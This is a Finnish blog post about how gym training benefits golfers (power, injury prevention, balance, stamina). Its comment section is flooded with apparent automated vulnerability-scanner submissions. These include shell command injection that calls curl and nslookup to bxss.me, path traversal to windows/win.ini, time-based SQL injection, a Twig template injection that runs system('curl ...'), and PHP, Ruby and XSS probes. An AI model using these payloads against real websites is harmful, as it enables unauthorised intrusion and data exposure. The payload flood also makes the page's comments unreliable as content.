Onko saliharjoittelusta hyötyä golfin harrastajalle?

08.01.2025 (luettu 2630 kertaa)

Mitä hyötyä saliharjoittelusta on golfin harrastajalle?

Golf saatetaan usein mieltää lajiksi, jossa fyysisen harjoittelun merkitys on pienempi kuin esimerkiksi joukkuelajeissa tai voimalajeissa. Totuus kuitenkin on, että saliharjoittelu voi tuoda merkittäviä hyötyjä golfharrastajille. Parempi voima, liikkuvuus ja tasapaino voivat kaikki parantaa peliä ja pienentää loukkaantumisriskiä. Tässä blogissa tarkastelemme, mitä hyötyä saliharjoittelusta on golfille ja kuinka se tukee pelaajan kehittymistä.

1. Lyöntien pituus ja tarkkuus

Saliharjoittelu auttaa kehittämään golfsvingiin tarvittavia lihasryhmiä, kuten keskivartalon lihaksia, hartioita, selkää ja lantion alueen lihaksia.

Voimaharjoittelun vaikutus: Tutkimukset osoittavat, että voima- ja nopeusharjoittelu voivat lisätä lyöntinopeutta ja siten parantaa lyöntien pituutta. Esimerkiksi tutkimus Journal of Strength and Conditioning Research -lehdessä (2018) osoitti, että voimaharjoittelua suorittaneet golfarit paransivat draiverin lavan nopeutta merkittävästi verrattuna pelkkään pelaamiseen keskittyneisiin pelaajiin.

Keskivartalon voima: Keskivartalo tukee golfsvingin kiertoliikettä ja auttaa siirtämään voimaa jaloista käsiin. Vahva keskivartalo lisää svingin vakautta ja tarkkuutta.

2. Loukkaantumisriskin pienentäminen

Golfissa esiintyy usein rasitusvammoja, jotka kohdistuvat esimerkiksi alaselkään, kyynärpäihin ja hartioihin. Saliharjoittelulla voidaan vähentää näitä riskejä:

Lihastasapaino: Harjoittelu auttaa tasapainottamaan kropan epäsymmetriaa, joka syntyy golfin yksipuolisista liikkeistä. Esimerkiksi symmetrinen selän ja keskivartalon vahvistaminen vähentää alaselän rasitusta.

Liikkuvuuden parantaminen: Liikkuvuusharjoitteet voivat pienentää jäykkyydestä johtuvia vammoja. Hyvä liikkuvuus lantiossa ja hartioissa helpottaa golfsvingin suorittamista ilman ylimääräistä rasitusta nivelille.

3. Parempi fyysinen ja henkinen jaksaminen

Golfkierros voi kestää jopa neljä tuntia, mikä vaatii pelaajalta kestävyyttä ja keskittymiskykyä. Saliharjoittelu auttaa tämän jaksamisen kehittämisessä:

Kestävyys: Säännöllinen voimaharjoittelu ja aerobinen harjoittelu parantavat lihasten ja sydämen kestävyyttä, jolloin pelaaja jaksaa paremmin koko kierroksen ajan.

Henkinen puoli: Hyvä fyysinen kunto tukee keskittymiskykyä ja auttaa pitämään stressin kurissa.

4. Tasapaino ja kehonhallinta

Tasapainon ja kehonhallinnan kehittäminen ovat avainasemassa golfsvingin tehokkuudessa ja tarkkuudessa.

Yhden jalan harjoitteet: Esimerkiksi askelkyykyt ja yhden jalan maastavedot parantavat kehon hallintaa ja tasapainoa, jotka ovat tärkeitä golfsvingin vakaudelle.

Proprioseptiiviset harjoitukset: Harjoitukset, joissa haastetaan kehon asentoa esimerkiksi tasapainolaudalla, voivat parantaa lyöntien vakautta ja pienentää horjahdusten riskiä.

5. Nopeus ja reaktiokyky

Saliharjoittelu voi parantaa golfsvingin nopeutta ja reaktiokykyä. Plyometriset harjoitteet, kuten hyppyharjoitukset, ja nopeusvoimaan keskittyvä harjoittelu voivat auttaa pelaajaa saamaan lisää dynaamisuutta svingiinsä.

Miten aloittaa saliharjoittelu golfia varten?

Jos haluat aloittaa saliharjoittelun tukemaan golfia, huomioi nämä vinkit:

Keskitä liikkeisiin, jotka parantavat voimaa ja liikkuvuutta: Kyykyt, maastavedot, keskivartalon kiertoliikkeet ja venyttely ovat erinomaisia.

Muista tasapaino: Harjoittele molempia kehon puolia tasaisesti vähentääksesi epäsymmetrioita.

Lisää progressiivisesti: Nosta kuormitusta maltillisesti ja pidä huolta oikeasta suoritustekniikasta.

Yhteenveto

Saliharjoittelulla voi olla merkittäviä hyötyjä golfin harrastajalle. Parempi voima, liikkuvuus, tasapaino ja kestävyys voivat kaikki parantaa peliäsi ja pienentää loukkaantumisriskiä. Lisäksi fyysisen kunnon kehittäminen tukee keskittymiskykyä ja auttaa jaksamaan paremmin niin kentällä kuin sen ulkopuolellakin. Jos haluat viedä golfpelisi uudelle tasolle, saliharjoittelu on ehdottomasti harkitsemisen arvoinen lisä treenirutiiniisi!

Kommentit

    1. pHqghUme

      1

      1

    2. pHqghUme

      1

      1

    3. pHqghUme

      1

      response.write(9911704*9694942)

    4. pHqghUme

      1

      1

    5. pHqghUme

      1

      '+response.write(9911704*9694942)+'

    6. pHqghUme

      1

      1

    7. pHqghUme

      1

      "+response.write(9911704*9694942)+"

    8. pHqghUme

      1

      1

    9. pHqghUme

      1

      1

    10. pHqghUme

      1

      1

    11. pHqghUme

      1

      1

    12. pHqghUme

      1

      1

    13. pHqghUme

      1

      1

    14. pHqghUme

      1

      1

    15. pHqghUme

      1

      1

    16. pHqghUme

      1

      1

    17. response.write(9246232*9207950)

      1

      1

    18. '+response.write(9246232*9207950)+'

      1

      1

    19. pHqghUme

      1

      4iOCU6np

    20. pHqghUme

      1

      1

    21. "+response.write(9246232*9207950)+"

      1

      1

    22. pHqghUme

      response.write(9018914*9432315)

      1

    23. pHqghUme

      1

      HydEnSAt: jQPX6a72

    24. pHqghUme

      '+response.write(9018914*9432315)+'

      1

    25. pHqghUme

      1

      1

    26. pHqghUme

      1

      1

    27. pHqghUme

      "+response.write(9018914*9432315)+"

      1

    28. pHqghUme

      1

      1

    29. pHqghUme

      1

      1

    30. pHqghUme

      1

      ../../../../../../../../../../../../../../windows/win.ini

    31. pHqghUme

      1

      1

    32. pHqghUme

      1

      1

    33. pHqghUme

      1

      1

    34. pHqghUme

      1

      1

    35. pHqghUme

      1

      ../1

    36. pHqghUme

      1

      echo vpcxao$()\ zzdyam\nz^xyu||a #' &echo vpcxao$()\ zzdyam\nz^xyu||a #|" &echo vpcxao$()\ zzdyam\nz^xyu||a #

    37. pHqghUme

      1

      1

    38. pHqghUme

      1

      &echo qxuwok$()\ vmnmpj\nz^xyu||a #' &echo qxuwok$()\ vmnmpj\nz^xyu||a #|" &echo qxuwok$()\ vmnmpj\nz^xyu||a #

    39. pHqghUme

      1

      12345'"\'\");|]*{

    40. pHqghUme

      1

      1&echo awohpt$()\ csxerf\nz^xyu||a #' &echo awohpt$()\ csxerf\nz^xyu||a #|" &echo awohpt$()\ csxerf\nz^xyu||a #

    41. pHqghUme

      1

      1

    42. pHqghUme

      1

      |echo yxccfs$()\ buokhd\nz^xyu||a #' |echo yxccfs$()\ buokhd\nz^xyu||a #|" |echo yxccfs$()\ buokhd\nz^xyu||a #

    43. szCmYvWF

      1

      1

    44. pHqghUme

      1

      1|echo bxokfu$()\ jhvluq\nz^xyu||a #' |echo bxokfu$()\ jhvluq\nz^xyu||a #|" |echo bxokfu$()\ jhvluq\nz^xyu||a #

    45. pHqghUme

      1

      1

    46. pHqghUme

      1

      expr 9000182851 - 982122

    47. 1Lj2SDIk: XRjLZb3f

      1

      1

    48. pHqghUme

      1

      1

    49. pHqghUme

      1

      (nslookup -q=cname hitdtpwhwrjeg2d41b.bxss.me||curl hitdtpwhwrjeg2d41b.bxss.me))

    50. pHqghUme

      cysiOtN8

      1

    51. pHqghUme

      1

      $(nslookup -q=cname hitmmevahsdmwa88d7.bxss.me||curl hitmmevahsdmwa88d7.bxss.me)

    52. pHqghUme

      dhbjnJDW: DUeZ4YXl

      1

    53. pHqghUme

      1

      &nslookup -q=cname hitxlngoliiju5f130.bxss.me&'\"`0&nslookup -q=cname hitxlngoliiju5f130.bxss.me&`'

    54. pHqghUme

      1

      1

    55. pHqghUme

      1

      1

    56. pHqghUme

      1

      1

    57. pHqghUme

      1

      1

    58. pHqghUme

      1

      &(nslookup -q=cname hitzzvwwzwcrm61fc2.bxss.me||curl hitzzvwwzwcrm61fc2.bxss.me)&'\"`0&(nslookup -q=cname hitzzvwwzwcrm61fc2.bxss.me||curl hitzzvwwzwcrm61fc2.bxss.me)&`'

    59. pHqghUme

      1

      1

    60. pHqghUme

      1

      ${9999721+10000430}

    61. pHqghUme

      1

      1

    62. pHqghUme

      1

      1

    63. pHqghUme

      1

      |(nslookup -q=cname hitjrcuecehkjabebd.bxss.me||curl hitjrcuecehkjabebd.bxss.me)

    64. pHqghUme

      1

      1

    65. pHqghUme

      1

      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

    66. pHqghUme

      1

      1

    67. pHqghUme

      1

      `(nslookup -q=cname hitbwdlbxuhfq5b469.bxss.me||curl hitbwdlbxuhfq5b469.bxss.me)`

    68. pHqghUme

      1

      1

    69. pHqghUme

      1

      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

    70. pHqghUme

      1

      1

    71. pHqghUme

      1

      ;(nslookup -q=cname hitktkkfwsmwm17e44.bxss.me||curl hitktkkfwsmwm17e44.bxss.me)|(nslookup -q=cname hitktkkfwsmwm17e44.bxss.me||curl hitktkkfwsmwm17e44.bxss.me)&(nslookup -q=cname hitktkkfwsmwm17e44.bxss.me||curl hitktkkfwsmwm17e44.bxss.me)

    72. pHqghUme

      1

      1

    73. pHqghUme

      1

      1

    74. ${9999063+9999824}

      1

      1

    75. pHqghUme

      1

      1

    76. pHqghUme

      ${10000067+10000499}

      1

    77. pHqghUme

      1

      1

    78. pHqghUme

      1

      c:/windows/win.ini

    79. pHqghUme

      1

      1

    80. pHqghUme

      1

      1&n997756=v933497

    81. pHqghUme

      1

      1

    82. pHqghUme

      1

      bxss.me

    83. TFJ1eXhEZ2Y=

      1

      1

    84. pHqghUme

      1

      1

    85. pHqghUme

      1

      Http://bxss.me/t/fit.txt

    86. pHqghUme

      1

      1

    87. pHqghUme

      1

      1

    88. pHqghUme

      1

      http://bxss.me/t/fit.txt?.jpg

    89. pHqghUme

      1

      1

    90. pHqghUme

      1

      1

    91. 12345'"\'\");|]*{

      1

      1

    92. pHqghUme

      1

      1

    93. pHqghUme

      1

      1

    94. pHqghUme

      1

      1

    95. pHqghUme

      1

      1

    96. pHqghUme

      1

      1

    97. pHqghUme

      1

      1

    98. pHqghUme

      1

      1

    99. pHqghUme

      1

      1

    100. pHqghUme

      1

      1

    101. pHqghUme

      1

      1

    102. pHqghUme&n974188=v918615

      1

      1

    103. pHqghUme

      1

      )

    104. pHqghUme

      1

      1

    105. pHqghUme

      1&n980889=v956783

      1

    106. pHqghUme

      1

      !(()&&!|*|*|

    107. pHqghUme

      1

      1

    108. pHqghUme

      1

      1

    109. pHqghUme

      1

      1

    110. pHqghUme

      12345'"\'\");|]*{

      1

    111. pHqghUme

      1

      1

    112. pHqghUme

      1

      1

    113. pHqghUme

      1

      ^(#$!@#$)(()))******

    114. pHqghUme

      1

      1

    115. pHqghUme

      1

      1

    116. pHqghUme

      1

      1

    117. pHqghUme

      1

      1

    118. pHqghUme

      1

      1

    119. pHqghUme

      1

      1

    120. pHqghUme

      1

      1

    121. pHqghUme

      1

      1

    122. pHqghUme

      1

      1

    123. pHqghUme

      1

      1

    124. pHqghUme

      1

      1

    125. pHqghUme

      1

      '"()

    126. pHqghUme

      1

      1

    127. pHqghUme

      1

      1

    128. pHqghUme

      1

      redirtest.acx

    129. pHqghUme

      1

      1

    130. pHqghUme

      1

      1

    131. pHqghUme

      1

      1

    132. pHqghUme

      1

      1

    133. redirtest.acx

      1

      1

    134. pHqghUme

      1

      1

    135. pHqghUme

      redirtest.acx

      1

    136. )

      1

      1

    137. ../../../../../../../../../../../../../../windows/win.ini

      1

      1

    138. !(()&&!|*|*|

      1

      1

    139. ^(#$!@#$)(()))******

      1

      1

    140. pHqghUme

      1

      1

    141. pHqghUme

      )

      1

    142. ../pHqghUme

      1

      1

    143. pHqghUme

      !(()&&!|*|*|

      1

    144. pHqghUme

      ../../../../../../../../../../../../../../windows/win.ini

      1

    145. pHqghUme

      ^(#$!@#$)(()))******

      1

    146. pHqghUme

      1

      1

    147. pHqghUme

      1

      1

    148. pHqghUme

      ../1

      1

    149. pHqghUme

      1

      1

    150. pHqghUme

      1

      1

    151. pHqghUme

      1

      1

    152. pHqghUme

      1

      1

    153. pHqghUme

      1

      1

    154. pHqghUme

      1

      HttP://bxss.me/t/xss.html?%00

    155. pHqghUme

      1

      bxss.me/t/xss.html?%00

    156. pHqghUme

      1

      1

    157. http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

      1

      1

    158. '"()

      1

      1

    159. pHqghUme

      1

      1

    160. pHqghUme

      1

      1

    161. 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

      1

      1

    162. pHqghUme

      1

      1

    163. pHqghUme

      1

      1

    164. pHqghUme

      '"()

      1

    165. c:/windows/win.ini

      1

      1

    166. pHqghUme

      1

      ${@print(md5(31337))}

    167. pHqghUme

      1

      1

    168. bxss.me

      1

      1

    169. pHqghUme

      1

      ${@print(md5(31337))}\

    170. Http://bxss.me/t/fit.txt

      1

      1

    171. HttP://bxss.me/t/xss.html?%00

      1

      1

    172. pHqghUme

      1

      1

    173. pHqghUme

      1

      '.print(md5(31337)).'

    174. http://bxss.me/t/fit.txt?.jpg

      1

      1

    175. bxss.me/t/xss.html?%00

      1

      1

    176. pHqghUme

      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

      1

    177. pHqghUme

      1

      1

    178. pHqghUme

      HttP://bxss.me/t/xss.html?%00

      1

    179. pHqghUme

      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

      1

    180. pHqghUme

      1

      "+"A".concat(70-3).concat(22*4).concat(103).concat(83).concat(118).concat(85)+(require"socket" Socket.gethostbyname("hitdy"+"jnmhnqsge1bb9.bxss.me.")[3].to_s)+"

    181. pHqghUme

      bxss.me/t/xss.html?%00

      1

    182. pHqghUme

      1

      '+'A'.concat(70-3).concat(22*4).concat(111).concat(88).concat(102).concat(75)+(require'socket' Socket.gethostbyname('hitqd'+'oevudpez2f869.bxss.me.')[3].to_s)+'

    183. pHqghUme

      1

      ajax.php

    184. pHqghUme

      1

      1

    185. pHqghUme

      1

      'A'.concat(70-3).concat(22*4).concat(113).concat(66).concat(117).concat(83)+(require'socket' Socket.gethostbyname('hitmz'+'hfdfdtjuf1bd9.bxss.me.')[3].to_s)

    186. echo ddifps$()\ rekxym\nz^xyu||a #' &echo ddifps$()\ rekxym\nz^xyu||a #|" &echo ddifps$()\ rekxym\nz^xyu||a #

      1

      1

    187. pHqghUme

      c:/windows/win.ini

      1

    188. pHqghUme

      1

      ajax.php

    189. pHqghUme

      1

      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

    190. &echo ontnjd$()\ bljjyw\nz^xyu||a #' &echo ontnjd$()\ bljjyw\nz^xyu||a #|" &echo ontnjd$()\ bljjyw\nz^xyu||a #

      1

      1

    191. pHqghUme

      1

      1

    192. pHqghUme

      1

      ajax.php/.

    193. pHqghUme

      1

      1

    194. pHqghUme&echo ndhdwi$()\ tephyv\nz^xyu||a #' &echo ndhdwi$()\ tephyv\nz^xyu||a #|" &echo ndhdwi$()\ tephyv\nz^xyu||a #

      1

      1

    195. pHqghUme

      1

      1

    196. pHqghUme

      1

      1

    197. |echo xhplpg$()\ jbltly\nz^xyu||a #' |echo xhplpg$()\ jbltly\nz^xyu||a #|" |echo xhplpg$()\ jbltly\nz^xyu||a #

      1

      1

    198. pHqghUme

      1

      1

    199. pHqghUme

      1

      1

    200. pHqghUme

      1

      1

    201. pHqghUme

      bxss.me

      1

    202. pHqghUme|echo anollf$()\ herpky\nz^xyu||a #' |echo anollf$()\ herpky\nz^xyu||a #|" |echo anollf$()\ herpky\nz^xyu||a #

      1

      1

    203. pHqghUme

      1

      1

    204. pHqghUme

      1

      1

    205. pHqghUme

      Http://bxss.me/t/fit.txt

      1

    206. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

      1

      1

    207. expr 9000459464 - 952494

      1

      1

    208. pHqghUme

      http://bxss.me/t/fit.txt?.jpg

      1

    209. pHqghUme

      1

      1

    210. pHqghUme

      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

      1

    211. (nslookup -q=cname hitadkmzunzzy56072.bxss.me||curl hitadkmzunzzy56072.bxss.me))

      1

      1

    212. pHqghUme

      1

      xfs.bxss.me

    213. $(nslookup -q=cname hitbrpqzmirty28ea3.bxss.me||curl hitbrpqzmirty28ea3.bxss.me)

      1

      1

    214. pHqghUme

      1

      1

    215. pHqghUme

      1

      1

    216. &nslookup -q=cname hitcpptqugdoe672f9.bxss.me&'\"`0&nslookup -q=cname hitcpptqugdoe672f9.bxss.me&`'

      1

      1

    217. pHqghUme

      1

      1

    218. pHqghUme

      1

      '"

    219. xfs.bxss.me

      1

      1

    220. pHqghUme

      1

    221. &(nslookup -q=cname hitofhjdertwb3c9cb.bxss.me||curl hitofhjdertwb3c9cb.bxss.me)&'\"`0&(nslookup -q=cname hitofhjdertwb3c9cb.bxss.me||curl hitofhjdertwb3c9cb.bxss.me)&`'

      1

      1

    222. pHqghUme

      xfs.bxss.me

      1

    223. |(nslookup -q=cname hitqbvuvahfxh9ca7f.bxss.me||curl hitqbvuvahfxh9ca7f.bxss.me)

      1

      1

    224. pHqghUme

      1

      1'"()&%2SxG(9972)

    225. "+"A".concat(70-3).concat(22*4).concat(118).concat(80).concat(100).concat(65)+(require"socket" Socket.gethostbyname("hitck"+"uukiyqzjb111d.bxss.me.")[3].to_s)+"

      1

      1

    226. pHqghUme

      1

      1

    227. `(nslookup -q=cname hitvwnutmevdz51591.bxss.me||curl hitvwnutmevdz51591.bxss.me)`

      1

      1

    228. pHqghUme

      1

      {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitvhtlthzydve8700.bxss.me")}}

    229. '+'A'.concat(70-3).concat(22*4).concat(105).concat(86).concat(115).concat(89)+(require'socket' Socket.gethostbyname('hitfp'+'lmzevlwo2d77e.bxss.me.')[3].to_s)+'

      1

      1

    230. ajax.php

      1

      1

    231. pHqghUme

      1

      1

    232. 'A'.concat(70-3).concat(22*4).concat(99).concat(65).concat(119).concat(88)+(require'socket' Socket.gethostbyname('hitrg'+'gbgojzes2f44a.bxss.me.')[3].to_s)

      1

      1

    233. ;(nslookup -q=cname hitmvsuexxaxf5f270.bxss.me||curl hitmvsuexxaxf5f270.bxss.me)|(nslookup -q=cname hitmvsuexxaxf5f270.bxss.me||curl hitmvsuexxaxf5f270.bxss.me)&(nslookup -q=cname hitmvsuexxaxf5f270.bxss.me||curl hitmvsuexxaxf5f270.bxss.me)

      1

      1

    234. ajax.php

      1

      1

    235. ajax.php/.

      1

      1

    236. pHqghUme

      "+"A".concat(70-3).concat(22*4).concat(108).concat(90).concat(100).concat(67)+(require"socket" Socket.gethostbyname("hitsd"+"xaxcqjgc99105.bxss.me.")[3].to_s)+"

      1

    237. pHqghUme

      '+'A'.concat(70-3).concat(22*4).concat(103).concat(89).concat(105).concat(83)+(require'socket' Socket.gethostbyname('hitfa'+'ymdxfvalbe712.bxss.me.')[3].to_s)+'

      1

    238. pHqghUme

      1

      '"()&%2SxG(9285)

    239. pHqghUme

      echo kvxzmi$()\ lajbox\nz^xyu||a #' &echo kvxzmi$()\ lajbox\nz^xyu||a #|" &echo kvxzmi$()\ lajbox\nz^xyu||a #

      1

    240. pHqghUme

      1

      19618418

    241. pHqghUme

      ajax.php

      1

    242. pHqghUme

      'A'.concat(70-3).concat(22*4).concat(104).concat(89).concat(115).concat(72)+(require'socket' Socket.gethostbyname('hitwb'+'ucqqjjipc98c9.bxss.me.')[3].to_s)

      1

    243. pHqghUme

      &echo pokatv$()\ tuwcmb\nz^xyu||a #' &echo pokatv$()\ tuwcmb\nz^xyu||a #|" &echo pokatv$()\ tuwcmb\nz^xyu||a #

      1

    244. pHqghUme

      ajax.php

      1

    245. '"

      1

      1

    246. pHqghUme

      1&echo eeuxzl$()\ spnanc\nz^xyu||a #' &echo eeuxzl$()\ spnanc\nz^xyu||a #|" &echo eeuxzl$()\ spnanc\nz^xyu||a #

      1

    247. 1

      1

    248. pHqghUme

      ajax.php/.

      1

    249. pHqghUme

      1

      bfg10474＜s1﹥s2ʺs3ʹhjl10474

    250. pHqghUme

      |echo vweinj$()\ iydgry\nz^xyu||a #' |echo vweinj$()\ iydgry\nz^xyu||a #|" |echo vweinj$()\ iydgry\nz^xyu||a #

      1

    251. ${@print(md5(31337))}

      1

      1

    252. pHqghUme

      '"

      1

    253. pHqghUme

      1

      bfgx9497

    254. pHqghUme

      1|echo faoynz$()\ hkdmrq\nz^xyu||a #' |echo faoynz$()\ hkdmrq\nz^xyu||a #|" |echo faoynz$()\ hkdmrq\nz^xyu||a #

      1

    255. pHqghUme

      1

    256. ${@print(md5(31337))}\

      1

      1

    257. pHqghUme

      1

    258. pHqghUme

      expr 9000632920 - 921922

      1

    259. '.print(md5(31337)).'

      1

      1

    260. pHqghUme

      1

    261. pHqghUme

      (nslookup -q=cname hitemrmgvyfpt37073.bxss.me||curl hitemrmgvyfpt37073.bxss.me))

      1

    262. pHqghUme

      1

      1}}"}}'}}1%>"%>'%>

    263. pHqghUme

      $(nslookup -q=cname hitqlirkyltyr7d6b2.bxss.me||curl hitqlirkyltyr7d6b2.bxss.me)

      1

    264. pHqghUme

      1

      dfb{{98991*97996}}xca

    265. pHqghUme

      &nslookup -q=cname hitzywvklukrde8562.bxss.me&'\"`0&nslookup -q=cname hitzywvklukrde8562.bxss.me&`'

      1

    266. pHqghUme

      ${@print(md5(31337))}

      1

    267. pHqghUme

      1

      dfb[[${98991*97996}]]xca

    268. pHqghUme

      &(nslookup -q=cname hitikcdbkcffeaeb9f.bxss.me||curl hitikcdbkcffeaeb9f.bxss.me)&'\"`0&(nslookup -q=cname hitikcdbkcffeaeb9f.bxss.me||curl hitikcdbkcffeaeb9f.bxss.me)&`'

      1

    269. pHqghUme

      ${@print(md5(31337))}\

      1

    270. pHqghUme

      |(nslookup -q=cname hitvgzscnptlg87152.bxss.me||curl hitvgzscnptlg87152.bxss.me)

      1

    271. pHqghUme

      '.print(md5(31337)).'

      1

    272. pHqghUme

      1

      dfb__${98991*97996}__::.x

    273. pHqghUme

      `(nslookup -q=cname hitwcszdvxikm1bb8a.bxss.me||curl hitwcszdvxikm1bb8a.bxss.me)`

      1

    274. pHqghUme

      1

      "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    275. pHqghUme

      ;(nslookup -q=cname hitadmthabmkjd60c6.bxss.me||curl hitadmthabmkjd60c6.bxss.me)|(nslookup -q=cname hitadmthabmkjd60c6.bxss.me||curl hitadmthabmkjd60c6.bxss.me)&(nslookup -q=cname hitadmthabmkjd60c6.bxss.me||curl hitadmthabmkjd60c6.bxss.me)

      1

    276. pHqghUme

      1

      12SxG(9837)

    277. pHqghUme

      1

      17HVNN[!+!]

    278. pHqghUme

      1

      1

    279. pHqghUme

      1

      1

    280. pHqghUme

      1

      1

    281. pHqghUme

      1

      1

    282. pHqghUme

      1

      1

    283. pHqghUme

      1

      1

    284. pHqghUme

      1

      1

    285. pHqghUme

      1

      1

    286. pHqghUme

      1

      1

    287. pHqghUme

      1

      1

    288. pHqghUme

      1

      1

    289. pHqghUme

      1

      1

    290. pHqghUme

      1

      1

    291. pHqghUme

      1

      1

    292. pHqghUme

      1

      1

    293. pHqghUme

      1

      1

    294. pHqghUme

      1

      1

    295. pHqghUme

      1

      1

    296. pHqghUme

      1

      1

    297. pHqghUme

      1

      1

    298. pHqghUme

      1

      1

    299. pHqghUme

      1

      1

    300. pHqghUme

      1

      1

    301. pHqghUme

      1

      1

    302. pHqghUme

      1

      1

    303. pHqghUme

      1

      1

    304. pHqghUme

      1

      1

    305. pHqghUme

      1

      1

    306. pHqghUme

      1

      1

    307. pHqghUme

      1

      1

    308. pHqghUme

      1

      1

    309. pHqghUme

      1

      1

    310. pHqghUme

      1

      1

    311. pHqghUme

      1

      1

    312. pHqghUme

      1

      1

    313. pHqghUme

      1

      1

    314. pHqghUme

      1

      1

    315. pHqghUme

      1

      1

    316. pHqghUme'"()&%2SxG(9310)

      1

      1

    317. {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitzwbmwbmawncbb1a.bxss.me")}}

      1

      1

    318. '"()&%2SxG(9457)

      1

      1

    319. pHqghUme9934821

      1

      1

    320. bfg8931＜s1﹥s2ʺs3ʹhjl8931

      1

      1

    321. bfgx2993

      1

      1

    322. 1

      1

    323. 1

      1

    324. 1}}"}}'}}1%>"%>'%>

      1

      1

    325. dfb{{98991*97996}}xca

      1

      1

    326. dfb[[${98991*97996}]]xca

      1

      1

    327. dfb__${98991*97996}__::.x

      1

      1

    328. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

      1

      1

    329. pHqghUme2SxG(9682)

      1

      1

    330. pHqghUmeZVBZI[!+!]

      1

      1

    331. pHqghUme

      1'"()&%2SxG(9211)

      1

    332. pHqghUme

      {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitlamwtxqixc34ebd.bxss.me")}}

      1

    333. pHqghUme

      '"()&%2SxG(9792)

      1

    334. pHqghUme

      19905108

      1

    335. pHqghUme

      bfg2223＜s1﹥s2ʺs3ʹhjl2223

      1

    336. pHqghUme

      bfgx9306

      1

    337. pHqghUme

      1

    338. pHqghUme

      1

    339. pHqghUme

      1}}"}}'}}1%>"%>'%>

      1

    340. pHqghUme

      dfb{{98991*97996}}xca

      1

    341. pHqghUme

      dfb[[${98991*97996}]]xca

      1

    342. pHqghUme

      dfb__${98991*97996}__::.x

      1

    343. pHqghUme

      "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

      1

    344. pHqghUme

      12SxG(9604)

      1

    345. pHqghUme

      1SLEUB[!+!]

      1

    346. pHqghUme

      1

      1

    347. pHqghUme

      1

      1

    348. pHqghUme

      1

      1

    349. pHqghUme

      1

      1

    350. pHqghUme

      1

      1

    351. pHqghUme

      1

      1

    352. pHqghUme

      1

      1

    353. pHqghUme

      1

      1

    354. pHqghUme

      1

      1

    355. pHqghUme

      1

      1

    356. pHqghUme

      1

      1

    357. pHqghUme

      1

      1

    358. pHqghUme

      1

      1

    359. pHqghUme

      1

      1

    360. pHqghUme

      1

      1

    361. pHqghUme

      1

      1

    362. pHqghUme

      1

      -1 OR 5*5=25

    363. pHqghUme

      1

      -1 OR 5*5=26

    364. pHqghUme

      1

      1

    365. pHqghUme

      1

      1'"

    366. pHqghUme

      1

      1

    367. pHqghUme

      1

      @@PWgxv

    368. pHqghUme

      1

      1

    369. pHqghUme

      1

      1

    370. pHqghUme

      1

      1

    371. pHqghUme

      1

      1

    372. pHqghUme

      1

      1

    373. pHqghUme

      1

      1

    374. pHqghUme

      1

      1

    375. pHqghUme

      1

      1

    376. pHqghUme

      1

      1

    377. pHqghUme

      1

      1

    378. pHqghUme

      1

      1

    379. pHqghUme

      1

      1

    380. pHqghUme

      1

      1

    381. pHqghUme

      1

      1

    382. pHqghUme

      1

      1

    383. pHqghUme

      1

      1

    384. pHqghUme

      1

      1

    385. pHqghUme

      1

      1

    386. pHqghUme

      1

      1

    387. pHqghUme

      1

      1

    388. pHqghUme

      1

      1

    389. pHqghUme

      1

      1

    390. pHqghUme

      1

      1

    391. pHqghUme

      1

      1

    392. pHqghUme

      1

      1

    393. pHqghUme

      1

      1

    394. pHqghUme

      1

      1

    395. pHqghUme

      1

      1

    396. pHqghUme

      1

      1

    397. pHqghUme

      1

      1

    398. pHqghUme

      1

      1

    399. pHqghUme

      1

      1

    400. if(now()=sysdate(),sleep(15),0)

      1

      1

    401. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

      1

      1

    402. pHqghUme-1 waitfor delay '0:0:15' --

      1

      1

    403. pHqghUme

      1

      1

    404. pHqghUme'"

      1

      1

    405. pHqghUme

      1

      1

    406. @@Eb4Mo

      1

      1

    407. (select 198766*667891)

      1

      1

    408. (select 198766*667891 from DUAL)

      1

      1

    409. pHqghUme

      1

      1

    410. pHqghUme

      1

      1

    411. pHqghUme

      1*if(now()=sysdate(),sleep(15),0)

      1

    412. pHqghUme

      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

      1

    413. pHqghUme

      1-1; waitfor delay '0:0:15' --

      1

    414. pHqghUme

      1-1); waitfor delay '0:0:15' --

      1

    415. pHqghUme

      1-1 waitfor delay '0:0:15' --

      1

    416. pHqghUme

      1-1 OR 813=(SELECT 813 FROM PG_SLEEP(15))--

      1

    417. pHqghUme

      1-1) OR 79=(SELECT 79 FROM PG_SLEEP(15))--

      1

    418. pHqghUme

      1-1)) OR 970=(SELECT 970 FROM PG_SLEEP(15))--

      1

    419. pHqghUme

      1

      1

    420. pHqghUme

      1'"

      1

    421. pHqghUme

      1

      1

    422. pHqghUme

      @@lqqbp

      1

    423. pHqghUme

      (select 198766*667891)

      1

    424. pHqghUme

      (select 198766*667891 from DUAL)

      1

    1. pHqghUme

      1

      1

    2. pHqghUme

      1

      1

    3. pHqghUme

      1

      response.write(9167950*9751330)

    4. pHqghUme

      1

      1

    5. pHqghUme

      1

      '+response.write(9167950*9751330)+'

    6. pHqghUme

      1

      1

    7. pHqghUme

      1

      "+response.write(9167950*9751330)+"

    8. pHqghUme

      1

      1

    9. pHqghUme

      1

      1

    10. pHqghUme

      1

      1

    11. pHqghUme

      1

      1

    12. pHqghUme

      1

      1

    13. pHqghUme

      1

      aBR545J0

    14. pHqghUme

      1

      1

    15. pHqghUme

      1

      ZzQW9aGf: xoP23hgd

    16. pHqghUme

